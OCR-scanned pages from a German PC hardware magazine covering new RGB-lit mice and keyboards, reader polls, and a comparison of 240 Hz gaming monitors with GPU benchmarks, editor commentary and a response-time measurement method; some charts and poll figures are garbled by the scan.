ist die neueste Entwicklungsstufe der erfolgrei- 
chen Roccat-Kone-Reihe, bei der wie beim Kone- 
EMP-Modell der optische Pixart-PMW3361-Sen- 
sor (Owl-Eye) für eine optimale Abtastung mit 
12.000 Dpi sorgt - inklusive einer per Software 
an-/abschaltbaren Pfadbegradigung und ein- 


stellbarer Lift-Off-Distanz. Die wirklichen Neue- 
rungen an der Kone Aimo aber sind die von der 
Tyon und Leadr bekannten Daumentaste sowie 
die beiden RGB-LED-Streifen, die sich nun am 
rechten und linken Rand des hinteren Oberscha- 
lenbereiches befinden (siehe Bild oben rechts). 


Mit der Kone Aimo gibt Roccats reaktives Be- 
leuchtungsschema sein Debüt, bei dem sich die 
Farbe an die Mausbewegungen des Spielers an- 
passt. Es wäre also zum Beispiel möglich, dass die 
Farbe der LEDs bei hektischen Bewegungen in 
Rottöne übergeht. Das Aimo-Feature ist auch bei 
der Roccat Horde Aimo vorhanden. Beim Isku+- 


Bild: Cherry 


Was halten PCGHX-Foren-Nutzer vom Beleuchtungs-„Wahn”? 


1,24% о m 


11,19% 


16,67 % 


LED-Beleuchtung an internen Komponenten ... 


m... 
.. ist ein nettes Extra 
«sistit egal; iecit 
... muss sofort abgeschaltet werde 
... ist für mich selbst ausgeschaltet ein Nachtei 
.. hat mich so geblendet, dass ich keine Meinung 


Zu 


Teilnehmer: 402 


muss sein!............ 


un 1,24% 


ORIENT 


Nachfolger handelt es sich um eine Membran- 
Tastatur, deren neue Membran-2.0-Schalter über 
einen vorverlagerten Auslösepunkt verfügen, 
sodass die Tasten zum Auslösen nicht komplett 
durchgedrückt werden müssen. Zur weiteren 
Ausstattung gehören fünf Makro- und elf Sonder- 
tasten sowie ein Multifunktionsrad. 


Mit dem MX Board 5.0 präsentiert jetzt auch 
Schalterspezialist Cherry wieder ein neues, me- 
chanisches Keyboard. Das Besondere an dem 
weiß beleuchteten Schreibgerät mit Gamer-Affi- 
nität und Cherrys MX-Silent-Red-Tastern ist die 
gummierte Handballenablage. Diese ragt über 
die beiden Seiten des Chassis hinaus und ist in 
ihrer Position und Höhe individuell anpassbar. 
Erreicht wird das durch speziell entwickelte 
Standfüße (siehe Bild links), mit denen 
sich die Tastatur neben der Grundposi- 
tion in sieben weiteren Variationen kom- 
fortabel platzieren lässt. 


Das letzte Peripherie-Highlight kommt von 
Sharkoon und nennt sich Pure Writer TKL. So pu- 
ristisch, wie der Name suggerieren mag, ist die 
blau beleuchtete Pure Writer ohne Nummern- 
block gar nicht. Die Helligkeitsverstellung fällt 
stufenlos aus und die Beleuchtungseffekte kön- 
nen ohne Software ausgewählt weden. Auf die 
Tasten L1 bis L5 lassen sich sogar individuelle, 
per Tastendruck erstellte Beleuchtungsschemata 
legen. Eine weitere Besonderheit sind die 6,2 mm 
hohen Tastenkappen sowie die taktilen Kailh- 
Red-Tastenschalter (45 g/cN Auslösedruck), de- 
ren Auslösepunkt bei nur 1,5 mm liegt. (fs) 


Bild: Cherry 


Mainboards, Netzteile, jedes nur denkbare Wasserkühlungsbauteil 
und natürlich ganz klassisch Lüfter wollen heute mit Beleuch- 

tung punkten, bevozugt RGB-konfigurierbar und animiert. Selbst 
SSD-Kühler sind nicht ausgenommen, und obwohl immer wieder 
über Function-Follows-Form gelästert wird, scheint die schweigende 
Mehrheit den Trend zu mögen. 
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Mehr Hertz geht nicht 


Im letzten Winter ist der erste Monitor mit einer Bildwiederholrate über 240 Hz erschienen. Mittler- 


weile haben die meisten Hersteller ein solches Modell im Programm. Höchste Zeit für einen Vergleich. 


WX Jas sollen 240 Hz schon brin- 
gen? Dafür bräuchte man ja 
auch 240 Fps - 60 Hz reichen doch 
völlig aus! Und das Auge sieht doch 
sowieso nur 24 Fps! Derartige My- 
then um das Zusammenspiel aus 
Bildrate der Grafikkarte und Bild- 
wiederholrate des Monitors halten 
sich hartnäckig aus unterschiedli- 
chen Gründen. Deswegen wird bei 
jedem Superlativ einer Datenblatt- 
angabe, wie auch jetzt bei 240-Hz- 
Monitoren, ein Wortgefecht aus 
Halbwissen veranstaltet. Wir möch- 
ten daher mit dieser Vorstellung 
der ersten „240er“ über ihren Sinn 
und Unsinn aufklären. 


Der Irrtum, das Auge sehe nur um 
die 24 Fps, kann mehrere Ursprün- 
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ge haben. Zum einen vielleicht aus 
der Kinowelt, wo seit Anbeginn des 
Bewegtbildzeitalters 
mit 24 Bildern pro Sekunde gefilmt 
wird. Manch einer mag annehmen, 
dass man das nicht àndert, weil oh- 
nehin nicht mehr wahrgenommen 
wird. Zum anderen kann es aus der 
Optik stammen, die erklärt, dass 
das menschliche Auge schon mit 
dieser Bildrate eine flüssige Bewe- 
gung aneinandergereihter Bilder 
wahrnehmen kann. Die Betonung 
liegt hier ganz dick auf kann" Tat- 
sáchlich gibt es keine feste Grenze, 
ab der kein Ruckeln mehr sichtbar 
ist. Es kommt auf das individuelle 
Sehvermógen eines jeden Einzel- 
nen und anderen Faktoren, wie 
etwa Lichtintensität oder Kontrast, 


unverándert 


an. Die sogenannte Flimmerver- 
schmelzungsfrequenz liegt also 
zwischen 22 Hz und 90 Hz. Soll hei- 
fsen: Ab 22 Hz kann eine Bewegung 
flüssig werden und bis 90 kann sie 
noch immer ruckeln. Die Kinoka- 
mera gaukelt uns mit ihren 24 Fps 
deswegen ein flüssiges Bild vor, da 
sie bei schnellen Bewegungen Ein- 
zelbilder mit einer relativ starken 
Bewegungsunschárfe aufnimmt. 
Aber auch Computerspiele verfü- 
gen über den „Motion Blur“, der 
nicht immer in den Grafikoptionen 
abschaltbar ist. 


Da auch das Auge nicht digital ar- 
beitet, kann es etwa ein Licht im 
dunklen Raum wahrnehmen, das 


viel kürzer aufblitzt. Es bedeutet 
also nicht, dass das Auge feste Scan- 
zyklen hat wie ein Monitor, in de- 
nen Bildreize untergehen müssen, 
wie beim Monitor. Bei beispiels- 
weise 60 Hz prüft dieser nur alle 
16,7 Millisekunden, ob ein neues 
Bild angezeigt werden kann. Hat 
die Grafikkarte ein neues berech- 
net, wird es angezeigt, ansonsten 
bleibt das alte - es kommt zum 
Ruckler. Auch wenn es spätestens 
ab circa 90 Hz flüssig wird, bedeu- 
tet es nicht, dass eine noch schnel- 
lere, feinere Bildfolge nicht wahr- 
genommen wird. Sonst wären ja 
selbst die vielen 144-Hz-Monitore 
sinnfrei und man kónnte sich Ge- 
räte über 90 Hz sparen. Wer noch 
immer an den ,Das Auge sieht nur 
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24 Fps“-Mythos glaubt, wird wohl 
am einfachsten mit der Website 
www.30vs60.com überzeugt. Dort 
wird ein Video zweimal nebenei- 
nander angezeigt, einmal mit 30 
Fps und einmal mit 60 Fps. Den 
Unterschied beiden 
dürfte wirklich jeder sehen. Wer 
mit einem Monitor mit mehr als 


zwischen 


60 Hz gesegnet ist, kann auf www. 
testufo.com/framerates mehrere 
Bildraten miteinander vergleichen. 
Zwischen 30 Fps und 60 Fps ist der 
Sprung noch gewaltig, zwischen 60 
Fps und 120 Fps ist er noch immer 
gut sichtbar. Wird die Framerate 
noch einmal verdoppelt, also auf 
240 Fps, wird die Bewegung noch 
etwas geschmeidiger, wenn auch 
der Unterschied nicht mehr allzu 
gravierend ist. Manch einer mag 
den Unterschied im Spiel selbst 
auch nicht wahrnehmen. In der 
Redaktion sind wir daher geteilter 
Meinung zum subjektiven ,240-Hz- 
Effekt“. Dessen Stärken liegen nicht 
unbedingt in der flüssigen Darstel- 
lung, sondern in den kürzer sicht- 
baren Bildrissen, die bei der hohen 
Frequenz kaum noch auftreten. 
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Ein Feind des PC-Gamers ist das 
sogenannte Tearing, die waag- 
rechten Bildrisse in schnellen Be- 
wegungen. Sie treten auf, weil die 
Bildrate der Grafikkarte schwankt, 
während die Bildwiederholrate 
des Monitors in der Regel fest ist. 
Ist die Bildrate niedriger als die 
Bildwiederholrate, wird das Bild 
einfach im nächsten Scanzyklus 
noch einmal angezeigt - es kann 
daher ruckeln. Wenn aber mehrere 
Bilder sich um denselben Scan des 
Monitors streiten, kann der etwa 
im unteren Teil des Displays schon 
das aktuelle Bild zeigen, während 
im oberen Teil noch das vorange- 
hende fertig aufgebaut wird - es 
kommt zum unschönen Riss im 
Bild. Je niedriger die Bildrate, umso 
asynchroner sind die beiden ange- 
zeigten Bilder. Und je niedriger die 
Bildwiederholrate, umso länger 
sind sie sichtbar. Idealerweise ist 
beides hoch - also Fps und Hertz. 
Das Problem sind nicht die Moni- 
tore: Modelle etwa mit 144 Hz sind 
schon recht erschwinglich gewor- 


Welche Bildwiederholrate hat euer Monitor? 


32 (3,9%) —] 


392 
(47,4%) 


45 
(5,4%) 
37 
(4,5%) 


... 392 (47,4%) 
...64 (7,7%) 
7 (4,5%) 
...45 (5,4%) 
2.251 (30,4%) 
...32 (3,9%) 

2 (0,2%) 
u... 4 (0,5%) 


Teilnehmer: 827 


Der Unterschied zwischen 60 Hz 
und 144 Hz ist deutlich sichtbar 
und außerdem nicht unbedingt 
teuer. 


Der Acer XB272 ist der einzige 
240-Hz-Monitor mit 27 Zoll. 


Die Dell-Modelle bestechen 
durch ihre typisch 
futuristische Optik. 
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Leistung: 240 Fps schwer erreichbar 


Bioshock Infinite — „New Eden” 


Geforce GTX 1080 Ti@1.582 = 207,3 (+45 %) 
Geforce GTX 1080 91.733 EEE 170,1 (+19 96) 
Geforce GTX 1070 @1.683 El 143,3 (+0 %) 

Geforce GTX 980 Ti @1.075 835; 143,1 (Basis) 

Radeon R9 390@1.000 991 113,6 (-21 96) 
Radeon RX 480/8С@1.266 61: 111,4 (-22 90) 
Radeon R9 29089947 [oti 106 (-26 96) 
Radeon RX 470/8G@1.205 94 97,8 (-32 96) 
Crysis 3 - , Fields" 

Geforce GTX 1080 Ti@1.582 0g 121,2 (+63 96) 
Geforce GTX 1080 91.733 EEE 95,3 (+28 %) 

Geforce GTX 1070 @1.683 [eges 77,4 (+4 %) 

Geforce GTX 980 Ti @1.075 74,2 (Basis) 

Radeon R9 390@1.000 |n es 54,4 (-27 %) 
Radeon RX 480/86@1.266 |j 50,9 (-31 96) 
Radeon R9 290@947 pu 49,8 (-33 %) 
Radeon RX 470/8G@1.205 [39 8 44,6 (-40 96) 


Crysis Warhead - , Train 3.0" 


Geforce GTX 1080 Ti@1.582 gg!" 95 (+5 96) 
Geforce GTX 1080 91.733 5656881 94 (+3 96) 
Geforce GTX 1070 91.683 [X8 93,5 (+3 90) 

Geforce GTX 980 Ti 91.075. 8588 90,9 (Basis) 

Radeon R9 390@1.000 [gn 73,6 (-19 90) 
Radeon R9 2908947 [eq 69 (-24 96) 
Radeon RX 480/86@1.266 EEE 64,9 (-29 %) 
Radeon RX 470/86@1.205 EEE 56,1 (-38 %) 


Doom Vulkan - „Devil's Dance" 


Geforce GTX 1080 Ti@1.582 gag 200 (+32 96) 
Geforce GTX 1080 91.733 [eg p 193 (+27 96) 
Geforce GTX 1070 91.683 [agi s 160,5 (+6 96) 

Geforce GTX 980 Ti 91.075. X8 151,4 (Basis) 

Radeon RX 480/8G@1.266 [me Es 148,9 (-2 %) 
Radeon RX 470/86@1.205 jq: E 128 (-15 %) 
Radeon R9 390@1.000 Egg 123,5 (-18 96) 
Radeon R9 2908947 [gas 114,2 (-25 96) 


Far Cry Primal - , Sunrise" 


Geforce GTX 1080 Ti@1.582 gs 104,5 (+73 %) 
Geforce GTX 1080 91.733 |a E 86,8 (+44 96) 
Geforce GTX 1070 91.683 [sg Eu 69,4 (+15 96) 

Geforce GTX 980 Ti 91.075. cg ШЕШШ 60,3 (Basis) 

Radeon RX 480/86@1.266 [36 46 (-24 96) 
Radeon R9 390@1.000 3s E 45,8 (-24 96) 

Radeon R9 2908947 [33 42,4 (-30 %) 

Radeon RX 470/86@1.205 jas 40,7 (33 %) 


The Witcher 3 - „Boat Trip" 


Geforce GTX 1080 Ti@1.582 62% 132 (+65 %) 
Geforce GTX 1080 91.733 E06 112,3 (+41 96) 
Geforce GTX 1070 91.683 |n 88,5 (+11 96) 

Geforce GTX 980 Ti 91.075 pce 79,8 (Basis) 

Radeon RX 480/8G@1.266 Logg 60,2 (-25 96) 
Radeon RX 470/8G@1.205 stil 52,7 (-34 96) 
Radeon R9 390@1.000 asi] 47,5 (-40 96) 
Radeon R9 2909947. [m 44,7 (-44 %) 


Quake Champions - „Burial Chamber" 


EVGA GTX 1080 Ti SC2/11G@1.860 gag 249,9 (+45 96) 
Gigabyte GTX 1080 G1 Gam./8G@1.873 6 199,6 (+16 96) 
Inno 3D GTX 1070 ХЗ Ultra/8G@1.974 psa 177,7 (+3 %) 
Palit GTX 980 Ti Super Jetstr./6G@1.329 X53 172,2 (Basis) 
HIS R9 390X IceQ X? Turbo/8G@1.070 Er 112,6 (-35 96) 
Powercolor RX 580 Red D. GS/8G@1.425 jest 107,7 (-37 96) 
Gigabyte RX 470 G1 Gaming/4G91.230 Xa 97,7 (-43 96) 
Sapphire R9 380X Nitro/4G-1.040 yit 79,6 (-54 96) 


System: Intel Core i7-6800K @ 4,4 GHz (L3/Ring: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 
GiByte Corsair DDR4-3000 (1T); Alle Angaben in MHz 


Mimil 2 Fps 


» Besser 
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den. In Full-HD-Auflösung gibt es 
schon welche für unter 300 Euro. 
Daher überrascht es uns nicht, dass 
fast ein Drittel der Teilnehmer un- 
serer Forumsumfrage mit dreistel- 
liger Bildwiederholrate zockt. Die 
Hälfte ist noch immer mit 60 Hz 
unterwegs, wohl weil nicht jeder 
Gamer hohe Bildwiederholraten 
benötigt. Außerdem ist es die am 
weitesten verbreitete Frequenz 
und Modelle mit höheren Auflö- 
sungen und gleichzeitig hoher 
Bildwiederholrate sind deutlich 
teurer. Zudem sind 60 Hz bei einer 
4K/Ultra-HD-Auflösung das höchs- 
te der Gefühle. Das soll sich aber 
noch dieses Jahr ändern. 


Es ist vielmehr die Grafikkarte, die 
in aktuellen Spielen keine derart 
hohe Bildrate liefert, damit die Bild- 
risse unstörend kurz werden. Mit 
verschiedenen Techniken können 
Bildrisse verschwinden: Die meis- 
ten Spiele bieten das sogenannte 
V-Sync. Dadurch wird die Bildrate 
auf die Bildwiederholrate reduziert 
und mit ihr per Pufferung synchro- 
nisiert. Gleichzeitig muss die Gra- 
fikkarte so nicht unbedingt Höchst- 
leistung bieten und läuft somit 
sparsamer und ruhiger. Der große 
Nachteil ist die Verzögerung. Wird 
bei 60 Hz etwa nur ein Bild gepuf- 
fert, wächst sie um mindestens 16,7 
Millisekunden an. Daher taugt V- 
Sync nicht für Multiplayer-Shooter, 
wo der Lag so niedrig wie möglich 
sein muss. Deswegen hat man den 
Spieß umgedreht und mit einer dy- 
namischen Bildwiederholrate die 
Frequenz an die variierende Bild- 
rate der Grafikkarte angepasst, was 
AMD Freesync und Nvidia G-Sync 
nennt. Der Pferdefuß hier: Monito- 
re unterstützen nur eines von bei- 
den, man muss sich also mit einer 
Neuanschaffung einer der beiden 
Religionen verschreiben. Nvidia 
verlangt zudem einen Aufpreis: Ein 
G-Sync-Monitor kostet circa 100 bis 
150 Euro mehr als das Schwester- 
modell mit Freesync. Nvidia spen- 
diert dem G-Sync-Modul zwar noch 
die ULMB-Technik (Ultra Low Mo- 
tion Blur) obendrein, die Schlieren 
mit einem schwarzen Frame zwi- 
schen jedem Bild nahezu vollstän- 
dig eliminiert. Leider funktioniert 
ULMB aber nicht mit aktiviertem 
G-Sync und auch nur bis 144 Hz - 
selbst bei den 240ern. Der heilige 
Gral wurde mit der Technik nicht 
gefunden, denn auch G-Sync kann 


eine Signalverzögerung haben. In 
Counter Strike: Global Offensive 
etwa wächst die Verzögerung in 
Bildraten über 120 Fps bedingt 
durch die Spiele-Engine. Auch 
wenn es hier noch immer deutlich 
niedriger ist als mit V-Sync, verzich- 
ten viele Multiplayer-Gamer auf 
jede Art von Synchronisation. Sie 
sind auch diejenigen, für die die 
240-Hz- Monitore interessant wer- 
den. Die Bildraten über 200 Frames 
in Spielen wie CS:GO werden hier 
umso besser genutzt, da die Bild- 
risse fast nicht mehr sichtbar sind. 
Das ist die große Stärke der hoch- 
frequenten Monitore: Ohne AMD- 
oder Nvidia-Bindung, wie etwa mit 
der dynamischen Bildwiederhol- 
rate, verschwindet Tearing zwar 
nicht vollständig, wird aber nahezu 
unsichtbar wenig. 


Mythos: Ich brauche 240 
Fps für 240 Hz 

Idealerweise liegt die Bildrate also 
in der Region der (hohen) Bildwie- 
derholrate. Trotzdem bietet eine 
hohe Frequenz auch bei niedrigen 
Fps Vorteile: Die Risse sind mit 
einer hohen  Bildwiederholrate 
kürzer sichtbar. Mit dem Bilderver- 
gleich auf der nächsten Seite haben 
wir versucht, die unterschiedlichen 
Stufen der Bildrisse in neun Kombi- 
nationen darzustellen. Mit der Dau- 
er der auftretenden Bildrisse, die 
mit höherer Frequenz abnimmt, ist 
das natürlich nicht möglich. Etwa 
bei 60 Fps mit 240 Hz ist der Bild- 
riss zwar genauso breit, aber nicht 
mehr so deutlich zu sehen wie bei 
60 Hz. Der Übergang wird mit den 
vier Mal häufigeren Scans etwas 
feiner. 


Alienware AW2518HF und AW2518H: 
Gut und günstig - gelungener 
240-Hz-Auftakt von Dell. Kurz vor 
Redaktionsschluss trudelten noch 
zwei Zwillingsmonitore ein. Bei 
den beiden 24,5-Zöllern handelt 
es sich einmal um die G-Sync- und 
einmal um die Freesync-Version 
(mit ,F* hinten am Namen). Beide 
sind äußerlich absolut identisch, 
sind an der Rückseite und am 
Standfuß mit RGB-LED-Elementen 
versehen und verfügen ansonsten 
auch über die gleiche Ausstattung. 
Abgesehen davon, dass die dynami- 
sche Bildrate mit dem einen Mo- 
dell nur mit einer Nvidia- und mit 
dem anderen nur mit einer AMD- 
GPU funktioniert, beginnt das In- 
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Bildrate und Bildwiederholrate: Am besten beides so hoch wie möglich 


Es treten Bildrisse (engl. Tearing) auf, wenn die Bildrate der Grafikkarte und die Bildwiederholrate des Monitors nicht synchron sind. Wer komplett lagfrei ohne Synchronisierung 
spielen möchte, benötigt dreistellige Fps- und Hz-Werte. Was im Bildvergleich nicht ersichtlich ist: Je höher die Frequenz, desto kürzer sind die Risse sichtbar. 


60 Fps 120 Fps 240 Fps 


60 Hz 


120 Hz 


240 Hz 
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tervall beim G-Sync-Modell schon 
bei 30 Hz, beim Freesync-Gerät 
erst bei 48 Hz. Dementsprechend 
fehlt beim AW2518HF auch die 
ULMB-Funktion. Beide TN-Panels 
lösen mit 1.920 x 1.080 Pixeln auf 
- also Full HD - wie übrigens alle 
240-Hz- Monitore. Aktuell existiert 
noch kein entsprechendes 240-Hz- 
Panel mit einer höheren Auflö- 
sung. Auch andere Paneltechniken 
gibt es nicht mit 240 Hz, also etwa 
VA- oder IPS-Panel. Wohl deswe- 
gen, weil die Reaktionszeiten der 
Panels deutlich länger wären als 


die Bildwiederholrate. Mit unserer 
neuen Messtechnik mittels Fotodi- 
ode haben wir die Reaktionszeiten 
überprüft. Mit durchschnittlich 2,3 
(AW2518H) bzw. 2,7 Millisekun- 
den (AW2518HF) können die bei- 
den Monitore hervorragend kurze 
Zeiten vorweisen. Bei 240 Hz wird 
das Bild alle 4,2 ms aktualisiert. Mit 
den entsprechend niedrigen Wer- 
ten ist sichergestellt, dass die Pixel 
bei jedem Refresh auch einen kom- 
pletten Farbwechsel vollziehen. 
Beide Monitore verfügen über ein 
standardmäßig aktives Overdrive, 


240 Hz? Mit 144 Hz fährt man 


was wohl für die niedrigen Reakti- 
onszeiten sorgt. Die Reaktionszeit 
hat noch keinen Einzug in unser 
Wertungssystem erhalten, da we- 
der Messequipment noch -metho- 
de zum Redaktionsschluss final 
waren. 


Die Alienware-Modelle konnten 
sich trotzdem an die Spitze set- 
zen, da auch andere Messwerte 
überzeugten: Die Farbabweichun- 
gen mit Delta-E-Werten unter 3 
sind überraschend niedrig. und 
das Kontrastverhältnis von circa 


1.000:1 ordentlich. Das G-Sync-Mo- 
dell wies eine etwas höhere Hel- 
ligkeit bei gleichem Schwarzwert 
von 0,4 cd/m2 auf, weswegen es 
hier etwas höher gemessen wurde. 
Mit über 400 cd/m? ist die Maxi- 
malhelligkeit auch mehr als genug. 
In der Praxis dürfte die Hälfte 
dieser Leuchtdichte ausreichen. 
Überrascht hat uns letztlich der 
Preis der beiden Modelle, die bei- 
de bei Dell direkt zum Kampfpreis 
angeboten werden. Zumindest die 
Freesync-Version ist mit nur circa 
420 Euro relativ günstig für einen 


Eine Alternative zu Adaptive 
Sync, aber sonst reichen 120 Hz 


Einerseits mag ich ein tearingfreies Bild ohne Latenz 
und Ruckler. Da Free- und Gsync die Hardware-Kom- 
patibilität beschränken, ist Vsync mit Double Buffering 


genauso gut - und billiger 


Gleich mal vorweg: Ich bin kein Fps-Fetischist oder 
Pixel-Póbler und bin auch mit den PS4-Frameraten 
auf meinem acht Jahre altem Full-HD-TV durchaus 


zufrieden. Nach diesem Geständnis, gebe ich mal 
meinen Senf zur Thematik zum Besten - als Otto 
Normalgucker quasi. Beim Testdruchlauf mit Counter 
Strike habe ich natürlich die größten Unterschiede Y 
zwischen 60 und 240 Hz bemerkt. Dabei haben sich er - 
die Bewegungen deutlich flüssiger und natürlicher 

angefühlt. Hinzu kommt, dass man nur noch mit Wohl- 


Alexandros Bikoulis 


wollen Tearing beobachten konnte — für mich war das ein Unterschied wie Tag 
und Nacht. Zwischen 100 und 240 Hz konnte ich dagegen fast keinen Unterschied 
ausmachen, hóchstens eingebildeter Natur. Das mag einerseits an der jahrelangen 
Gewóhnung durch Konsolen liegen, andererseits an meinen miserablen Augen: 
Eine wesentliche — und mehrere Hundert Euro teure — Verbesserung konnte ich 
einfach nicht registrieren. Auch auf die Gefahr hin, mich unbeliebt zu machen, zu 
lohnen scheinen sich 240-Hz-Monitore nur für Pro-Gamer und Adleraugen. 


Der Zugewinn gegenüber 60 
Hertz ist gewaltig 


Zum wiederholten Male überzeugt mich der fulminant 
schnelle Bildaufbau der 240-Hz-Displays. Und das, 
obwohl ich schon einen 144-Hz-Monitor daheim habe. 
Und doch ist nochmal ein recht deutlicher Zugewinn 
beim Wechsel auf ein 240-Hz-Display zu bemerken — 
ich wage sogar zu behaupten, auch dann, wenn man 
sich noch nicht auf solch hohe Frequenzen konditio- 
niert hat. Ist auch noch Gsync oder Freesync an Bord, 
ist eine nochmalige Verbesserung festzustellen. wobei 
mir der Nutzen einer solchen adaptiven Bildsynchro- 


Philipp Reuther 


nisation generell weniger stark ausgeprágt erscheint, als beispielsweise an einem 
144- oder 60-Hz-Display. Ob ich für Adaptive Sync auf die sowieso schon recht 
teuren Displays nochmals einen potenziellen Zuschlag zahlen bereit wäre, ist wohl 
eher fraglich. Mein Interesse ist sowieso schon begrenzt, denn obwohl ich hohe 
Bild- und Aktualisierungsraten schátze, ist Full HD für mich nicht mehr wirklich 
genießbar. Bevor sich die hohen Frequenzen nicht mit höheren Pixeldichten verein- 


baren lassen, ist mir ein solches Display zu kompromissbehaftet. 
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hier besonders attraktiv. Es erfordert zur Vermeidung 
groBer Fps-Sprünge aber eine hohe maximale Bildwie- 
derholfrequenz, denn Spiele laufen nur mit geraden 
Teilern derselben. Ein 240-Hz-Display würde mir 60, 
48, 40, 34 und 30 Fps (1/4, 1/5, 1/6, 1/7 und 1/8 von 
240) erlauben, wáhrend mein 60-Hertzer von 60 Fps 


Torsten Vogel 


(1/1) direkt auf 30 Fps (1/2) abstürzt. Andererseits 

wirkt das Bild auf mich bereits bei 60 Fps flüssig. Ich sehe Bewegungen in 120 Hz 
zwar schárfer, weil mehr Zwischenschritte dargestellt werden, nehme die Veránde- 
rungen zwischen zwei 16,7 ms auseinanderliegenden Frames aber nicht mehr als 
Ruckler war. Bei 240 statt 120 Hz muss ich dann schon genau auf wenige Pixel 
groBe Details achten — was mir im realen Spielgeschehen genauso wenig gelingt, 
wie 240 Fps überhaupt zu erreichen. Auch beim náchsten Monitor werde ich daher 
statische Bildqualität (IPS/VA) gegenüber 240 Hz (nur mit TN) bevorzugen. 


Eine zu hohe Bildwiederholrate 
gibt es noch nicht 


Seit dem Wechsel vom NEC 2690 Wuxi (erste Generati- 
on) auf den Asus MG279Q habe ich mich auf hohe 
Bildwiederholraten eingeschossen. GewissermaBen bin 
ich durch die inzwischen jahrelange Nutzung von (bis 
zu)144 Hertz auf einen schnellen Bildaufbau konditi- 
oniert. Dementsprechend hat mir auch das Anspielen 
auf einem Monitor mit 240 Hertz spontan viel Freude 


bereitet. Gefühlt ist es gegenüber 144 Hertz noch 


einmal ein gutes Stück , knackiger". Die Bewegungen 


Mark Mantel 


fühlen sich flüssiger an, Eingaben werden zumindest 

subjektiv ein Stückchen schneller umgesetzt. Die Nachteile sind jedoch deutlich: 
Wenn schon TN, dann bitte mit einer höheren Auflösung. 2.560 x 1.440 Pixel mit 
240 Hertz wären über Dispayport 1.4 realisierbar — und das dann bitte auf 27 Zoll 
oder mehr. Wer noch 24 Zoll sowie eine Pixeldichte von unter 100 ppi gewohnt 
ist und vor allem die üblichen , E-Sport-Titel" (Counter Strike, Dota 2, League of 
Legends, etc. pp.) spielt, vielleicht sogar kompetitiv, sollte dem Thema 240 Hertz 


zumindest eine Chance geben. 
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240er. Solche Modelle, die sowohl 
qualitativ als auch preislich interes- 
sant sind, gefallen uns. 


Benq Zowie XL2540: Der Hochfre- 
quenzpionier möchte mit Ausstat- 
tung punkten. Es war ein Zowie 
von Benq, der als Erstes mit 240 
Hz Ende letzten Jahres auf den 
Markt kam. Damit wurde auch 
deutlich, dass die hohe Bildwie- 
derholrate die E-Sport-Nische an- 
sprechen soll. Dafür spricht auch 
die Ausstattung des Zowie XL2540: 
Äußerlich unterscheidet er sich 
kaum von den anderen Zowies. 
Sie sind dafür gemacht, um sie auf 
LAN-Partys mitzuschleppen. Der 
Monitor hat außerdem eine aus- 
fahrbare Headset-Halterung an der 
linken Seite des Geräts und auch 
eine Kabelfernbedienung, mit der 
gespeicherte Bildprofile schnell 
gewechselt werden können und es 
sich bequem durch das Monitorme- 
nü navigieren lässt. Kopfhörer- und 
USB-3.0-Buchsen sowie ein flexib- 
ler Standfuß runden das Portfolio 
eines Geräts ab. 


Das Display ist eher schnell statt 
schön: Den Kontrast ermitteln wir 
auf bestenfalls 800:1 - ein eher 
durchschnittlicher Wert, die Far- 
ben kommen daher an anderen 
Monitoren mit satterem Schwarz 
besser zur Geltung. Mit dem recht 
niedrigem Input Lag von nur 10,2 
ms, der für Gamer wichtiger ist als 
eine brillante Bildqualität, erreicht 
der Monitor dennoch eine gute 
Leistungs- und damit Gesamtnote 
im Test. Mit dem Zowie XL2546 
hat Benq bereits ein aktuelleres 
240-Hz-Modell auf dem Markt. Der 
einzige Unterschied zu ihm ist das 
sogenannte „ОуАс“, die Schlieren- 
reduzierung mittels eines schwar- 
zen Frames zwischen jedem Bild. 
Das haben bislang nur die G-Sync- 
-Modelle mit Nvidias ULMB. Aber 
leider hat sich Benq dazu entschie- 
den, die Zowie-Monitore nicht 
mehr zum Testen an Medien her- 
auszugeben. Hoffentlich wird sich 
das wieder ändern. 
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PCGH misst nun Reaktionszeiten per Oszilloskop 


Mit steigender Bildwiederholrate wurde es immer schwerer, die Reaktionszeit zu ermitteln. Mit Fotodiode und 
Oszilloskop messen wir nun viel genauer und auch mehrere Farbwechsel. 


CH1FalIT = 5 8б 


Die eine Reaktionszeit gibt es nicht 

Wenn sich die Farbe am Panel ändern soll, brauchen die Flüssigkristalle eine gewisse Zeit, bis sie sich in die entsprechende 
Position gedreht haben — der Pixel die Farbe also angenommen hat. Diese Verzögerung wird Reaktionszeit oder Bildaufbauzeit 
genannt. Die Datenblätter der Monitore nennen hier meist nur einen Wert. Bei TN-Panels wird meist 1 ms angegeben oder bei 
IPS mindestens 5 ms. Dabei handelt es sich um einen Grau-zu-Grau-Wechsel, der meist weitaus kürzer vonstattengeht als etwa 
ein Schwarz-Weiss- oder Mischfarbwechsel. Tatsächlich variieren die Reaktionszeiten je nach Farbwechsel, sodass die Daten- 
blattangabe, der eine ISO-Norm zugrunde liegt, nicht besonders aussagekräftig ist. Sie ist nur die kürzeste Zeit eines günstigsten 
Grauwechsels. In der Praxis sind die Helligkeitsunterschiede aber meist weitaus höher. Es ist also etwas irreführend, wenn ein 
Monitor mit ,einer" Reaktionszeit von 1 ms beschrieben wird. Vielmehr wäre es richtig, wenn von „den Reaktionszeiten” — also 
im Plural — die Rede ist und die Dauer ehrlicherweise „ab 1 ms“ angegeben wird. 


Wie wir messen 
PCGH misst von Weiß über drei Graustufen bis 
Schwarz alle 20 Kombinationen durch. Dafür 


Die ersten Reaktionszeitmessungen 


blinkt ein animiertes Gif mit der Farbkombina- 
tion am Testmonitor. Dieser ist auf der Over- 
drive-Stufe mit bester Darstellung eingestellt. 

— meist ist das eine mittlere. Die Fotodiode über- 
setzt Lichtsignale in Spannungsniveaus, die das 
Oszilloskop aufzeichnet. Am Beispielbild oben 
rechts ist etwa ein Wechsel von Schwarz auf 
Weiß auf Schwarz zu sehen. Die Software misst 
die Verzögerung, bis das andere Niveau erreicht 
ist. Im oben gezeigten Screenshot beträgt die 
Reaktionszeit zwischen Schwarz und Weiß 5,92 
Millisekunden. Aus den Messwerten erheben wir 
den Durchschnitt, der als altbekannter Bench- 
mark-Balken dargestellt wird. Beim Oszilloskop 
handelt es sich um ein Voltcraft 050-1052, 

die Fotodiode ist eine Individuallösung mit 
Verstärkerschaltung von Dr. Michael Becker 

von der Firma Display Messtechnik GmbH, das 
uns dankenswerterweise zur Verfügung gestellt 
wurde. Da Messungen und und Messgeräte noch 
nicht final sind, wurden die Ergebnisse noch 
nicht in der Wertung berücksichtigt. 


Reaktionszeiten (*Overdrive normal, **Overdrive mittel) 
Dell Alienware AW2518H* Eiga 2,3 (Max. 3,2) 
